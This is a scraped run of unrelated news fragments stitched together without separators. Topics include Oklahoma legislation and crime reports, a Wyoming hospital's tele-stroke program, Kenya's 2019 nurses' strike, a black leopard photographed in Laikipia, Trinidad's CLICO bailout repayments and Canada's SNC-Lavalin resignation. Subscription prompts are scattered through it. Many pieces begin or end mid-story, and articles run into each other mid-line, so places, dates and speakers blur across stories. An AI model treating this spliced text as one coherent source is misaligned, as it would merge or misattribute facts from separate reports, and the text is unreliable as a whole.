So there is a lot of stuff we wanted in there and got in there, Paul said.

Sen. Julie Daniels, R-Bartlesville, said the working group took the time to hear from all the different interest groups.

The panel was not unduly influenced by any perspective, patient or business, she said.

I think on balance we did a very good job in a short period of time, Daniels said. I hope my colleagues will trust us and implement this bill and then we can improve on it later, she said.

Barbara Hoberock 405-528-2465 barbara.hoberock@tulsaworld.com Twitter: @bhoberock

Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.It has been somewhat of a tradition for a member of the Tulsa SAR to dress as George Washington and attend the new citizen ceremony.

When Means took over about three years ago, he found a person in Texas willing to make a George Washington costume. He is in the greeting line as the new citizens get their certificate of citizenship.

Then, after the ceremony, most of the new citizens pose for pictures with Frizzell and Means.

It is just a nice touch to be able to dress up like George Washington and have a photo taken with these people, Means said. It is such a big moment for them.

It is a big moment for me, too. If I really didnt like it I wouldnt do it. But it is fun. I like coming down here for the ceremony. More people should come to these. It makes you feel very proud of our country.

Often, the new citizens just want a picture. Sometimes, they like to tell the judge or George Washington some of their story.

But most of the time, they have so much going on this day that they just want a photo, Means said.

After the ceremony, officials help the new citizens register to vote and obtain a U.S. passport.The husband of a Tulsa County Court Clerks Office employee accused of being a member of the Ku Klux Klan described the allegation as inaccurate on Wednesday.

The website HateTrackers.online posted a story on Feb. 4 accusing Bondell Bonnie Kukla and her husband, Stephen Kukla, of being white supremacists and longtime members of the Ku Klux Klan.

They travel to various Klan chapters throughout the South preaching, speaking, and entertaining through song, according to the HateTrackers article.

But Stephen Kukla on Wednesday denied HateTrackers assertion that he and his wife are KKK members.

There are a lot of inaccuracies in that (story), and that is one of them, he said.

Kukla added that he would not be making any other comments on the article.

For me to even get into it is going to complicate the situation even further, so I have no comment, Kukla said.Waldrons bill was being discussed at about the same time the state Department of Education released a report that 30,000 Oklahoma teachers have left the profession in the past six years.

The report was not mentioned in the meeting, but Waldron used the defense of his bill to underscore the difficulty many Oklahoma schools have finding and retaining experienced teachers. He did not dispute the chief criticisms of it  lack of data and that all things being equal five years would be better than three years  but said there wasnt time to gather data or enough five-year teachers for the mentoring program to work.

The bill is, in a lot of ways, an emergency measure for an emergency situation, Waldron said.

HB 1412 is now eligible for a vote by the full House.

Although it was a busy committee day for the House, most of the meatiest legislation on the various agendas was not heard.Authorities are seeking a man on allegations that he tried to run down two Rogers County sheriffs deputies in a reportedly stolen vehicle while fleeing from them during a pursuit late Sunday.

Chad Lee Anderson, 27, is wanted on two charges of assault with intent to kill, eluding a police officer, possession of a stolen vehicle, altering a license plate and unsafe lane use, according to court documents. Anderson will be held without bond upon his arrest.

Deputies attempted to stop Anderson on Sunday night in the area of North 193rd East Avenue and Town Lane in Catoosa, according to an affidavit. Anderson was allegedly driving a Hyundai Sonata, later determined to be stolen, when he departed to the right of the road lines.

Anderson allegedly sped away from a deputy as that deputy attempted to stop the Sonata. He led deputies on a chase around parts of Rogers County and the Catoosa area, with speeds exceeding 80 mph at times, according to the affidavit.

Rogers County prosecutors allege in court filings that Anderson attempted to run over two deputies during the pursuit. Multiple shots were fired during one of those alleged attempts, according to the affidavit.During that hearing, a witness said he saw Jamesons Hummer go airborne and flip onto its top. Another witness reported seeing Jameson take his dog out of his vehicle after the crash and said he heard Jameson say, Oh, God! I think I killed them!

Clark Brewster, one of Jamesons attorneys, said at the time that he thought District Attorney Steve Kunzweilers office tries to just regroup and add something else each time it discovers that the predicate misdemeanors used for the manslaughter case arent legally proper.

Brewster argued to Otey that Oklahoma law regarding the statute of limitations should bar Kunzweiler from adding any new theories because it was obvious that the moving violation approach wasnt based on any new evidence.

In a court brief on the issue, co-counsel Katie Arnold wrote that the state is merely grasping at straws for a case because it cant successfully prove that Jameson was impaired while driving or that his license was canceled.

Reckless driving, another possible theory raised, cannot form the basis for a manslaughter conviction, Arnold said. Therefore, she said the statute of limitations for any new alternatives should have expired Dec. 24, 2012, three years after the crash.February is Black History Month and the Tulsa World will be publishing stories and daily facts throughout the month.

Long before the Rev. Martin Luther King Jr., Thurgood Marshall and other civil rights leaders exhorted the faithful from its pulpit, First Baptist Church North Tulsa had served as a beacon of hope and faith for Tulsas African-American community.

It started nine years before Oklahoma became a state, when a group of 10 began meeting in a home, and officially became a church the next year in 1899.

During the Tulsa Race Massacre of 1921, the church somehow was spared being burned like others and would go on to weather other challenges through the years.

It moved to a new, bigger building at 1414 N. Greenwood Ave. in 1953. Today, that site  which served as a regular stop-off for national civil rights leaders  is still home to First Baptist North Tulsa, the citys oldest black congregation.

Tim Stanley 918-581-8385 tim.stanley@tulsaworld.com Twitter: @timstanleyTW

Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.When a medical emergency happens, time is of the essence. When theres a possibility of a stroke, the time spent doing tests to diagnose a stroke is essential. The goal is to diagnose a stroke as quickly as possible in order for the recovery to happen quickly with little to no side effects.

Time is absolutely crucial when were dealing with the possibility of a stroke, Director of Emergency Services at Memorial Hospital of Converse County Robynn Scheehle said.

Last November the hospital in Douglas teamed up with the Emergency Room and Neurology Department at Wyoming Medical Center in Casper and implemented the tele-stroke machine and procedure, with hopes of a speedy diagnosis, or to rule out the possibility of a stroke.

The emergency room and EMS put a program into place that if an ambulance is dispatched to someones home with stroke-like symptoms then they can call in and activate our tele-stroke protocol, Scheehly said.

The emergency department has a machine that gets activated and taken into a patients room, a name and date of birth are entered and an immediate connection to Wyoming Medical Center is made.

The apparatus is a simple one. Its over five feet tall with a fairly large camera at the top. Look below and youll see a tablet that connects to WMC like a video or Facetime call on your iPhone. The machine is linked with all departments of the hospital which allows the team at WMC to access any tests or scans of the patient in real time.

We connect to WMC and a neurologist is able to get on immediately and is able to do his assessment, Scheehly said.

Even if the neurologist is away from WMC, they will still be able to assess the patient as long as they have a tablet that connects to the tele-stroke program.

The tele-stroke machine sits at the end or near the patients bed, focuses on the patient and the physician so there is a physician-to-physician consult immediately.

With this technology any scan or test that the Douglas hospital performs is seen by the team at WMC immediately.

The team at WMC can see the patient and our physician doing his assessment, Scheehly said. Its all rapid, its really fast. If we send the patient to do a CT scan the neurologist and our physician can read the scan to determine if we need to administer TPA, a clot buster. The TPA can be administered here and the patient is immediately loaded on the ambulance and transported to WMC.

Being able to diagnose a stroke and start treatment will reduce the recovery time for the patient and the after effects of the stroke.

When a patient is having a stroke, its all about time, Scheehly said. The longer they go with stroke symptoms then youre messing with brain tissue. The faster we can utilize the tele-stroke machine, administer TPA and get the blood flow back, the less tissue damage we have.

The tele-stroke program has been used three times already at MHCC with no strokes being diagnosed according to Scheehly.

Tele-stroke is gaining traction all across the nation with more and more hospitals getting on board. MHCC is proud to say that they are the first hospital in Wyoming to implement the program.

When it comes to diagnosing strokes, Scheehly has a message.

Time is brain matter.Spokesman Graviel Aquirre said the other El Tequila locations remain unchanged.

We all come from the same family, Aquirre said.

He said much of the menu is similar to El Tequila, and a few new dishes have been added.

Hours are 11 a.m. to 10 p.m. Sunday-Thursday and 11 a.m. to 11 p.m. Friday-Saturday. The phone number is 918-895-6262.

Five Guys opens third Tulsa-area restaurant

Five Guys Burgers and Fries has opened its third Tulsa-area location at 10025 S. Memorial Drive. It is the 13th Five Guys store in Oklahoma.

Other area stores are at 9635 Riverside Parkway and 1442 Hillside Drive, Broken Arrow.

Coolgreens to open first Tulsa location Monday

Coolgreens, an Oklahoma City-based eatery featuring healthful menu items, is scheduled to open its first Tulsa store Monday at 5501 E. 41st St. in Highlands Plaza Shopping Center.

Tulsa natives Susan and Chris Gates plan to open two more restaurants in Tulsa, according to a news release.

The restaurant features bowls, sandwiches and salads that almost all come in less than 400 calories.Members of the U.S. Marshals Eastern Oklahoma Violent Crimes Fugitive Task Force located wanted felon Raymond Lane Jr. at a Vinita residence Tuesday while acting on information from investigators with the Wagoner County Sheriffs Office.

WCSO Sergeant Jeff Halfacre said Lane, a known violent felon, was wanted on felony warrants out of Wagoner County. When a pair of search warrants were served for Lane in the 25400 block of E. 131st St. S. in Coweta on Feb. 4 and Feb. 5, authorities discovered narcotics, paraphernalia and more than $100,000 in stolen property.

He is the same suspect who rammed a Coweta police unit after leading an officer on a high speed pursuit in late January.

Coweta Police Chief Michael Bell said CPD has an outstanding felony warrant for Lane on complaints of assault and battery on a police officer, possession of a stolen vehicle, eluding a peace officer and leaving the scene of an accident.

Located with Lane and also taken into custody was Rae Dawn Barnes, a female who is believed to have been one of two passengers in the vehicle when the incident occurred. Bell said there are no Coweta charges on the female.The congregation at the First Baptist Church in Coweta has started the new year with a new pastor.

Dr. Vern Charette was called to the church in December, 2018 and preached his first sermon as pastor on January 6. He is a Tulsa native who comes from Yukon where he was at Trinity Baptist Church.

Dr. Charette has worked in ministry for more than 25 years, primarily serving as a full time evangelist and doing itinerant work. He also taught seminary for six years at Southwestern Seminary in Fort Worth, Tex.

He holds a Bachelors in Religion with Bible Emphasis from Oklahoma Baptist University and also attended Mid America Baptist Theological Seminary in Memphis, Tenn. and Southwestern Baptist Theological Seminary in Fort Worth where he obtained a Masters of Theology and a Doctorate in Preaching.

Dr. Charette said he was a high school dropout who accepted Christ in 1990 after a preacher shared the Gospel with him. Nearly a year later, he began preaching.

It comes down to a call that the Lord gives through His word, and its confirmed by the Spirit and the people. The church confirmed the call, he said. Its one thing to be called to preach and then the Lord not provide someone to listen. Ive been grateful through the years.The research is clear; a school calendar doesnt automatically promote student success. Over the past three years, we have made dramatic changes to make our schools better. We have added many security measures in all of our schools, invested in one-on-one technology for all middle school and high school students, purchased new curriculum, built a new STEM lab at our high school, established a mentoring program for all new teachers ... and the list could go on and on.

Harris said it's his opinion that the state is getting back at teachers for walking out last April. One bill filed makes it unlawful for teachers to leave work for a walkout or making a group deposit of $50,000 if they want to rally at the Capitol.

Harris also pointed to the academic success of the 2018 graduating class. The 155 graduates received $1.7 million dollars of scholarship money.

We will collect data and submit the necessary reports to the State Department of Education to try and remain a four-day week, Harris said.

Time will tell for the fate of Wagoners four-day week and others in Oklahoma that are doing the same.

Editor's note: This story was edited after publication to include a list of area districts on the four-day schedule. Contact news@tulsaworld.com with questions or concerns.Kodi Smalygo is 2019s Miss Rodeo Oklahoma.

Smalygo, who attended Skiatook High School was the Skiatook Round-Up Rodeo Queen in 2016 and has continued her success ever since. She started competing in rodeo pageants two years ago at the encouragement of a family friend and because of her love of horses.

I love the family like values of the rodeo, Smalygo said. I love how the Oklahoma Rodeo Pageant encourages the growth and preparation of young women in Oklahoma. All of the girls who compete receive scholarships.

Preparing for a pageant as large as Miss Rodeo Oklahoma takes months. Smalygo had 10 outfits just for this pageant for performances, interviews and the pageants. She says it depends on the level of competition how many outfits and how much preparation is needed.

Personal interviews are Smalygos favorite part of pageants. In the personal interviews the contestants sit down with four judges and get some one on one time. You get to show your personality and your passions, Smalygo said. I encourage anyone to not be shy and speak your mind in the interviews. Its a time where you can have your special moment to shine. Voters who are physically incapacitated and voters who care for physically incapacitated persons who cannot be left unattended may vote absentee. They may apply only by mail, by fax, by email, online or via an agent who is at least 16 years of age and who is not employed by or related within the third degree of consanguinity or affinity to any person whose name appears on the ballot.

 Voters who are confined to nursing homes in the county may vote absentee. An absentee voting board actually goes to the nursing home a few days before the election, sets up a small polling place and allows these persons to vote under circumstances similar to those at a regular precinct polling place. They may apply only by mail, by fax, by email, online or via an agent who is at least 16 years of age and who is not employed by or related within the third degree of consanguinity or affinity to any person whose name appears on the ballot.

 Military personnel and residents of the county living overseas and the spouses and dependents of each group are eligible to receive absentee ballots. These voters may apply only by mail, by fax or by email. Military personnel should contact Voting Service Officers in their units for application forms and additional information or visit the Federal Voting Assistance program website (www.fvap.gov/oklahoma) for more information and instructions. Residents of Oklahoma living overseas can obtain the same materials from any U.S. military installation and from U.S. Embassies and Consulates as well as on the FVAP website.

Rachel Snyder 918-581-8315 rachel.snyder@sandspringsleader.comYou will receive full, ad-free access to TullahomaNews.com.com as well as full access to the Electronic Edition of the newspaper.





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Only $44.99 per year after promotional period.Nurses working in public hospitals and who have been on strike for the past eight days over poor terms of service say their quest for better wages and allowances has been misunderstood.

To help explain their case, a senior nurse offered to give Kenyans glimpses of their heavy work schedules which made them to down their tools in demand for nursing and uniform allowances.

Send 'NEWS' to 40227 to receive all the important breaking news as it happens

READ ALSO: Uhuru orders nurses to return to work or face the sack, directs police to arrest picketers

Anne Owiti, has been a nurse since 1992 and she is currently KNUN organising secretary, Kisumu branch. Photo: Fred Okul

Source: UGC

READ ALSO: Kisii street children turn violent, block striking nurses from holding demonstration

Anne Owiti has been a nurse since 1992 when she graduated from the Kisumu based Kenya Medical Training Institute.

During that time, Owiti, who is also the organising secretary for the Kenya National Union of Nurses Kisumu branch, has worked at the Mombasa Level 5 hospital (formerly known as Coast General Hospital) and Nyanza's largest referral hospital  Jaramogi Oginga Teaching and Referral Hospital in Kisumu, where she is currently stationed.

She currently works at the gynecological department but has worked in all the other departments like surgical, pediatric, maternity, and antenatal and the clinics in what she attributes to her training to "handle all these departments."

READ ALSO: Nurses strike: Demands and latest news

Owiti told TUKO.co.ke she loves her work and enjoys doing so at the referral facility "where the giant of the workload is".

As a nurse at any one of facility's wards where three nurses work in shifts throughout, her day starts at 7am. She must be at the facility early enough to relieve her night shift colleague who spent the night at the hospital.

"As soon as I arrive, I get a report from the night nurse on the inpatients detailing their present conditions, medical needs and overnight observations," she says.

"Then I ensure the each of them takes a bath and help those who cannot bathe on their own, make their beds and make sure they are comfortable in their beds before the doctor arrives for the ward rounds," she opened up.

READ ALSO: Nursing jobs currently available in Nairobi

When the doctor arrives, Owiti moves with him from patient to patient recounting the overnight report as compiled by the night nurse for the doctor to review and make recommendations.

If the doctor prescribes drugs, the nurse administers them, documenting everything she does in what are called cadets.

"Depending on what the patient is suffering from, the doctor can order investigations that range from measuring the blood count, X-Rays and laboratory requests on, say, stool of the patient. It is upon the nurse to make sure those requests are executed and results documented," she told TUKO.co.ke during an interview.

The health worker caters to the sick and follows up on the requests, she must also make sure all the healthcare equipment needed in the ward such as gloves, syringes and strapping tapes are availed.

She also inspects to ensure other life supporting equipment like the oxygen cylinder are in tip-top condition.

"When the doctor returns, we interpret the results together so that he can prescribe the plan for the patient which the next nurse must execute," added the nurse.

READ ALSO: Accredited nursing schools in Kenya

She said on a day when patients with surgical needs are taken to theatre, it is the nurses who receive them from the operating room and execute the treatment plans.

The nurse must further ensure all the patients have had their meals and those who cannot do so she helps, including feeding through nasogastric tubes.

During her seven-hour stay with the patients, she observes them, making sure drugs administered through the intravenous therapy (IV-fluid) lines are running and records other needs, while addressing those they can cater to.

And before handing over to the next nurse, she must document the patients again

As she does this, she is exposed to risks such as high chances of contracting infectious ailments transmitted through close contact with patients.

The Centre for Disease Control (CDC) reports that a recent evidence-based practice report sponsored by the Agency for Healthcare Quality and Research concluded that a relationship exists between lower levels of nurse staffing and higher incidence of adverse patient outcome.

READ ALSO: Nurses strike set to kick off in 24 counties on Monday, February 4

It lists catheter-associated urinary tract infections, surgical site infections, bloodstream infections, pneumonia and TB as some of the healthcare-associated ailments nurses are exposed to.

Owiti believes that is why they need risk allowances revised from the current Sh 3,000 to 15,000 and a host of other demands they have made in the CBA which seek to improve their working conditions.

The doctors, she said, cannot work without the nurses and that is why their demands should be considered to be as important as those of doctors in the country.

"Emergency cases, let alone admissions cannot be done without nurses, and what we are demanding is contained in a registered CBA. So the government should just heed to our call to alleviate suffering" said Owiti.

Story By Fred Okul - TUKO Correspondent, Kisumu county.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news

HIV+ Man Surprise Proposal to Girlfriend | Tuko TV

Source: Tuko- The nurses union's boss, Seth Panyako, said the strike can only be called off by the union

- He said they would not relent in their push for implementation of the November 2017 CBA

- Panyako added the union would only engage nurses' employers who are at the county levels

- The nurses union was reacting to a return to work directive issued by the president hours earlier

- The president threatened to sack any nurse who would not resume duty by Friday morning

Nurses have vowed to continue with their strike despite President Uhuru Kenyatta's stern warning against the industrial action which has crippled provision of health services in several public hospitals across the country.

Unshaken Kenya National Union of Nurses (KNUN) announced the health workers would relentlessly continue to push for full implementation of the November 2, 2017, Collective Bargaining Agreement (CBA).

Send 'NEWS' to 40227 to receive all the important breaking news as it happens

READ ALSO: Uhuru orders nurses to return to work or face the sack, directs police to arrest picketers

Kenya National Union of Nurses Secretary General Seth Panyako warned nurses would go on with strike despite President Uhuru Kenyatta's return to work order. Photo: Hashtagsquare.

Source: UGC

READ ALSO: Pain and agony as nurses' strike enters day 3 in defiance of court order

Addressing the press on Wednesday afternoon shortly after Uhuru directed the picketing nurses to resume duty or face the sack, KNUN Secretary General Seth Panyako warned more nurses would join the protest.

"The union shall not respond to the president's statement made today (February 13) at State House. While the union respects the president and his office, the law is clear and should be fair on both sides," Panyako said.

READ ALSO: Nurses strike set to kick off in 24 counties on Monday, February 4

According to the KNUN boss, it was only the union, and not even the president, who can call off the strike which affected a number of counties.

He said the health workers would only engage the employers of the nurses who are the County Public Service Board of the respective counties.

Uhuru had hours earlier ordered the protesting nurses to go back to work by latest Friday, February 15, 2019, at 8am, failure to which stern action would be taken against them.

The president also directed the National Police Service (NPS) to arrest and lock up any nurse who would be found picketing during working hours.

We have jointly agreed that all nurses should resume duty not later than Friday, February 15, 2019, at 8am. As the Commander-in-Chief of the Kenya Defence Forces, I have also instructed National Police Service to take stern action on picketers who may intimidate public servants who intend to go to work, the president said.

READ ALSO: Nurses strike set to kick off in 24 counties on Monday, February 4

The nurses' strike kicked off on February 4, 2019, as they demanded for implementation of the November 2, 2017, Collective Bargaining Agreement (CBA).

They claimed the national government was largely to blame for the prolonged delay in implementation of the agreement in which nurses were to get service and uniform allowances.

"When we issued our strike notices in November 2018, the government kept quiet and only appointed a reconciliator last Friday (February 1, 2019). We find these games played by the Labour Ministry as tricks meant to sabotage President Uhuru Kenyatta's Big Four Agenda and as a union, we shall not accept them," Seth said.

READ ALSO: Nurses strike: Demands and latest news

Labour Cabinet Secretary Ukur Yatani had appointed a conciliation committee to look into the issues raised by the nurses.

The CS had pleaded with the health workers to call off the industrial action arguing it would be injurious to the well-being of citizens and would also pose a security threat.

In view of conformity with the provision of sections 70 (2) of the Labour Relations Act, I have appointed a Conciliation Committee to be chaired by Mr Harun Mwaura. It will assist the parties to mediate, amicably resolve the impasse, and file a report to me within 30 days, Yatan said

The Employment and Labour Relations Court suspended the strike for 60 days to give room for the conciliation talks, a directive that the health workers defied, prompting the president to intervene.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news.

Nandi Governor Vs Mombasa Governor Hassan Joho - On Tuko TV

Source: Tuko Breaking News Latest- The image was captured by a British photographer in Laikipia county

- Will Burrard-Lucas had been informed about the existence of the animal by the locals who had seen it

- He tracked it down to its habitat where he set up cameras to capture its image

- The last image of the wild cat was taken in 1909

A rare image of a black leopard has been captured by a British wildlife photographer at Laikipia Wilderness Camp in Laikipia county.

Will Burrard-Lucas received the news about the leopard from the locals who had seen it in the area before he tracked down the animal's habitat and set up cameras to capture its image which he released on Monday, February 11.

Send 'NEWS' to 40227 to receive all the important breaking news as it happens

READ ALSO: Five babies die under unclear circumstances at Kiambu Level 5 Hospital

The black leopard walking through the wilderness at night in Laikipia county. Photo: National Geographic

Source: UGC

READ ALSO: Father of Nairobi activist found dead claims she was murdered

According to the Guardian, Burrard-Lucas set up motion sensors and cameras with the hope of capturing the image of the animal whose coat is sooty black as a result of melanism, the opposite of albinism.

After waiting for several days to capture the animal's image without success Burrard-Lucas went back and took the cameras and started scrolling the images.

It is at that point that he realised the camera had taken a photograph of the animal in one of the nights.

READ ALSO: IEBC proposes national and county elections to be conducted separately

I had a quick look at the last trap, not expecting to find much. As I scrolled through the images on the back of the camera, I paused and peered at the photograph below in incomprehension  a pair of eyes surrounded by inky darkness  a black leopard! I couldnt believe it and it took a few days before it sank in that I had achieved my dream, Burrard-Lucas wrote on his blog.

Nicholas Pilfold from the institute for conservation research at the San Diego Zoo said while there have been recorded reports of black leopards in Africa, the last evidence of its existence was taken in 1909 in Addis Ababa, Ethiopia.

We had always heard about black leopard living in this region... collectively these are the first confirmed images in nearly 100 years of a black leopard in Africa, and this region is the only known spot in all of Africa to have black leopard, Pilfold told USA Today.

Several people on social media could not hide their happiness over the unique animal that had been photographed.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news

The Youngest and Jobless Master's Degree Holder in Kenya | Tuko TV

Source: Tuko NewsImages

Sorry, there are no recent results for popular images.Cottonwoods by Benjamin M. Johnson, 2018, oil on canvas, is on exhibit as part of 6 & 6, continuing through March 31 at the UA Museum of Art .Commentary

A Green New Deal sounds like pie in the sky. But we need itYou have permission to edit this article.

Edit CloseT&T is a signatory to the Paris Agreement on climate changeto cut the generation of petroleum-based pollutants into the atmosphere. This is of major significance to our economy since this country is indeed one of the major per capita carbon polluters in the world, yet the use of petroleum-based products for export provides the country with crucial forex.The total cost of Caribbean Airlines (CAL) severance payment is estimated to be in the vicinity of $110 million, Finance Minister Colm Imbert revealed yesterday.

Imbert said CAL did not have the required finances for the severance payment and therefore the payments would be financed by the Ministry of Finance.Staff at the Education Facilities Company Ltd (EFCL) have reached their breaking point as they claim they have not been paid for two months.

The situation has become so dire, employees said they are struggling just to make ends meet.Do you have a news tip?

Want to share good news story, or do you have information that should see the light of day? Then we want to hear from you.

More hereCOLONIAL Life Insurance Company (Trinidad) Ltd (CLICO) is solvent, yet it still owes the Government $2.09 billion as part of its 2009 bailout arrangement.

In addition, approximately $1.66 billion provided with respect to British American Insurance Company (Trinidad) Limited (BAT) remains unpaid.

This according to 38th quarterly report of the Central Bank, which was filed in the High Court pursuant to section 44E (7) of the Act, which reported on the period which ended March 31, 2021.

The report provides a snapshot of the progress of proposals to restructure CLICO, BAT and Clico Investment Bank (CIB)

In summary, of the approximately $18 billion (inclusive of preference interest due) provided by the Government in respect of CLICO, approximately $16.6 billion has been repaid by CLICO, leaving a balance of approximately $2.09 billion as at February 28, 2021, the report noted.

Payments for interest on the preference shares due to the Government have commenced. As at February 28, 2021, the remaining interest due to the Government on these preference shares amounted to approximately $32.8 million, it noted.

The report noted that by January 24, 2019 approximately $5 billion in cash payments were made to the Government in consideration for an appropriate reduction in CLICOs liabilities to GORTT.

A further cash payment of approximately $300 million (paid in tranches) was made to GORTT by CLICO between March 20 and 27, 2020. An additional $125 million was paid to GORTT on July 8, 2020. On September 17,2020, pursuant to another Ministerial direction, CLICO was directed to pay GORTT $600 million, in cash, in two tranches in exchange for an appropriate reduction in liabilities owed to GORTT.

The first tranche of approximately $300 million was paid to GORTT on September 30, 2020 and the second tranche of approximately $300.1 million was paid in two parts on October 24,2020 and October 30,2020, respectively, it said.

CLICOs most recent audited financial statement, for the 12 months ending December 31, 2020, indicate the company had positive net worth of $3.23 billion at the end of 2020.

That means the insurance company is in a position to pay off all of its liabilities, including the $2.09 billion it owes the Government.

The 2020 audit showed that CLICOs after tax profits plunged by 95 per cent for the year ending December 31, 2019.

CLICO recorded $119.23 million in after-tax profit in 2020, compared with $123.69 in 2019

Its total assets amounted to $13.55 billion in 2020, down from $14.90 billion at the end of 2019, while its total liabilities for 2020 were $10.31 billion.

CLICO has been under the control of the Central Bank since 2009, in accordance with Section 44D of the Central Bank Act.

In an interview earlier this year, Central Bank Governor Dr Alvin Hilaire said he is anxious for T&Ts regulator of financial institutions to close the book on this countrys largest bailout.

As I told you before, we want to get out of this thing yesterday. Right? We are not in the business of running insurance companies. Most of the conditions are no longer there in terms of the systemic issue. And in terms of the health of the financial system, so we dont have a systemic problem, he had said.

Ministerial directives

Despite CLICO being under the management of the Central Bank, the report noted that a number of transfers were made pursuant to ministerial directives over the course of the Central Banks management of CLICO.

Directives by the Minister of Finance to CLICO are allowed under section 44 F(5) of the Central Bank Act, which states: In the performance of its functions and in the exercise of its powers under section 44D the Bank shall comply with any general or special directions of the Minister and shall act only after due consultation with the Minister.

Among the ministerial directives recorded in the Central Bank document are:

1. In January 2017, in light of the unanticipated delay in the sale of MHIL shares and pursuant to directions from the Minister of Finance to the Central Bank, CLICO obtained an independent valuation of CLICOs 100 per cent shareholding in Occidental Investment Limited (OIL) and Oceanic Properties Limited (OPL) in preparation for the transfer of these shareholdings to the Government, thereby appropriately reducing CLICOs liabilities to the Government.

The valuation report was completed and the share sale and purchase agreement executed by the parties on March 28,2017. On May 8, 2017, the parties signed the necessary share transfer forms to facilitate the transfer of CLICOs 100 per cent shareholding in OIL and OPL to the State Enterprise, Golden Grove-Buccoo Limited.

2. In November 2017, pursuant to directions from the Minister of Finance to the Central Bank, arrangements were commenced to facilitate the purchase and cancellation of certain Government bonds held by CLICO in consideration for an appropriate reduction in liabilities owed by CLICO to the Government in order of priority. The relevant Sale and Purchase Agreement was executed on July 26, 2018 and a Variation Agreement which amended the value of binds to be transferred was executed on August 30,2019.

3. On April 11, 2018, approximately $107 million of a WASA loan facility together with a cash payment of $21 million were effectively transferred to the Government for an appropriate reduction in liabilities owed by CLICO to the Government in order of priority.

4. Pursuant to directions from the Minister of Finance, agreements were executed on March 29, 2018 for the transfer of CLICOs approximately 21 per cent shareholding in One Caribbean Media Limited (OCM) and approximately five per cent shareholding in West Indian Tobacco Company Limited to the Government based on an independent valuation, in consideration for an appropriate reduction in liabilities owed by CLICO to the Government in order of priority. These shares were transferred on April 25, 2018.

5. On April 30, 2018, CLICO received from the liquidator of CIB, the Deposit Insurance Corporation, an interim distribution of 27,619,219 Republic Bank Limited (RBL) shares and 848,564 OCM shares.

Pursuant to directions from the Minister of Finance, the Central Bank directed CLICO to transfer to the Government the RBL shares and the OCM shares based on the price determined by an independent valuation in consideration for an appropriate reduction in liabilities owned to the Government in order of priority. These shares were transferred to the Government on July 4, 2018.

6. On September 7, 2018 and April 4, 2019, bonds totally approximately $502 million (now valued at approximately $500 million pursuant to a Variation Agreement dated August 30, 2019) were transferred to the Government (for cancellation) in exchange for an appropriate reduction in liabilities owed by CLICO to the Government.

7. Further to directions to the Central Bank from the Minister of Finance, CLICO was directed to transfer one of its properties located in Chaguanas and one another located in Port of Spain to the Government, based on an up-to-date independent valuation, in consideration for an appropriate reduction in liabilities owed by CLICO to the Government.

For the property located on Chaguanas, the relevant sale and purchase agreement was executed on April 9, 2019 and the deed of assignment was registered on February 6, 2020.

The purchase agreement and the deed of lease for the property located in Port of Spain were executed on August 5,2020 in exchange for an appropriate reduction in liabilities.

Stalled sale

The report noted that progress on the sale of traditional insurance portfolios of CLICO and BAT has been impacted by ongoing court proceedings in the context of a challenge by one of the bidders of the portfolio. An injunction was granted to Maritime Life (Caribbean) Ltd in July 2020.

In the 2019 financial statement, it reclassified assets in preparation for sale to Sagicor.

CLICOs balance sheet showed the reclassification of over $7 billion in assets, in the form of Government bonds, from investment securities to assets held for sale.

In addition, it shifted all of its $6.43 billion in insurance contractsand all but $145.48 million of the $1.66 billion classified as investment contractsto $7.72 billion of liabilities directly associated with assets held for sale.

Note 18 of CLICOs financial statement indicates: The sales and purchase agreement allows for the parties to exit the contract by mutual agreement as well as by either party, if the other party fails to fulfil stipulated terms as outlined in the agreement.

But Note 18 adds: CLICO remains fully committed to the sale of the portfolio and the execution of the signed agreement.

Directives to sell the asset from the Central Bank as controller of CLICO under section 44D of the Central Bank Act have not changed.Douglas, WY (82633)

Today

Partly cloudy early followed by scattered thunderstorms this afternoon. High 87F. Winds SE at 10 to 20 mph. Chance of rain 50%..

Tonight

Scattered thunderstorms developing late. Low 56F. Winds N at 10 to 15 mph. Chance of rain 50%.In my position, you must support your minister once there is nothing immoral or wrong involved.

So said executive director of water provider WASA Dr Lennox Sealy in response to comments that Public Utilities Minister Marvin Gonzales had thrown him under the bus over the halted disconnection drive for Water and Sewerage Authority customers in arrears last week.We have used your information to see if you have a subscription with us, but did not find one. Please use the button below to verify an existing account or to purchase a new subscription.pardeepdhull@gmail.com

Ottawa, February 13

A Canadian ministers sudden resignation on Tuesday turned vague allegations of interference in the criminal prosecution of an engineering giant into a deepening political crisis for Prime Minister Justin Trudeaus Liberals.

Jody Wilson-Rayboulds resignation followed a chorus of demands for the government to come clean about whether Trudeaus office had pressured her to intervene in the prosecution of SNC-Lavalin.

The Montreal-based firm was charged in 2015 with corruption for allegedly bribing officials in Libya between 2001 and 2011 to secure government contracts during former strongman Moamer Kadhafis reign.

Jody Wilson-Raybould, who was Canadas first indigenous attorney general and justice minister prior to being shuffled to another post last month, announced on Twitter that with a heavy heart she was leaving the cabinet.

Trudeau said he was surprised and disappointed. Our government did its job properly and according to all the rules, he said, while upbraiding his former attorney general, if she felt otherwise, for not bringing her concerns to him directly.

SNC-Lavalin lobbied the government, including senior officials in Trudeaus office, for an out-of-court settlement that would include paying a fine and agreeing to put in place compliance measures.

A possible guilty verdict at trial, they argued, risked crippling its business and putting thousands out of work.

But according to unnamed sources cited by the Globe and Mail, Wilson-Raybould refused to ask prosecutors to settle with the company, and the trial is set to proceed.

Trudeau has denied the allegations, saying: At no time did I or my office direct the current or previous attorney general to make any particular decision in this matter. Opposition parties, however, pressed for clarity.

And on Monday the independent ethics commissioner launched an investigationthe second into a prime minister first elected in 2015 on a promise to clean up corruption, and with only eight months before the next ballot.

While the controversy snowballed, Wilson-Raybould declined to speak, citing solicitor-client privilege and cabinet confidentiality.

I am aware that many Canadians wish for me (to) speak on matters that have been in the media over the last week, she said in a statement.

I am in the process of obtaining advice on the topics that I am legally permitted to discuss in this matter, she said, adding that she retained a retired Supreme Court justice as legal counsel.

